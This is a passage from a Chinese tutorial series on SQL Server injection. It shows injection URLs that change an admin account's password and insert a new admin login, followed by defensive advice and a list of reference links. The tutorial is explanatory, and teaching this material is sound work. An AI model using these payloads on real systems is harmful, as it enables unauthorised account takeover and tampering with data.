SQL服务器入侵实战演习(五)

我不信

7.0如何在数据库中更新/插入数据？

　　当成功地收集到表中所有的列后，我们就可以在表中UPDATE(升级/修改)原有的数据或者INSERT(加入)新的数据。打个比方，我们要修改帐号"neo"的密码:

　　http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_na

　　me='neo'--

　　加入一条新的记录:

　　http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password

　　', 'details') VALUES (666,'neo2','newpas5','NA')--

　　现在我们就可以以帐号"neo2"、密码"newpas5"登陆系统了。

　　8.0如何避免被SQL注入攻击？

　　过滤一些特殊像单引号、双引号、斜杠、反斜杠、冒号、空字符等的字符，过滤的对象包括:

　　-用户的输入

　　-提交的URL请求中的参数部分

　　-从cookie中得到的数据

　　至于数字值，将其转换为整数型之前必须有SQL语句声明，或者用ISNUMERIC确定它为一个整型数。

　　修改“Startup and run SQL Server”的用户运行级别为低级别。

　　删除一系列你不需要的储存过程，如:

　　master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
9.0我从哪里可以得到更多相关资料？

　　我们最初接触到SQL注入攻击是在Rain Forest Puppy有关他入侵PacketStorm的文章中提到的。

　　http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

　　一篇收集了ODBC错误信息的好文章:

　　http://www.blackhat.com/presentations/win-...1Litchfield.doc

　　关于在SQL SERVER中进行SQL注入的好文章:

　　http://www.owasp.org/asac/input_validation/sql.shtml

　　Senseport网站所著的关于SQL注入的文章:

　　http://www.sensepost.com/misc/SQLinsertion.htm

　　其他相关文档:

　　http://www.digitaloffense.net/wargames01/IOWargames.ppt

　　http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6

　　http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6

　　http://www.spidynamics.com/whitepapers/Whi...QLInjection.pdf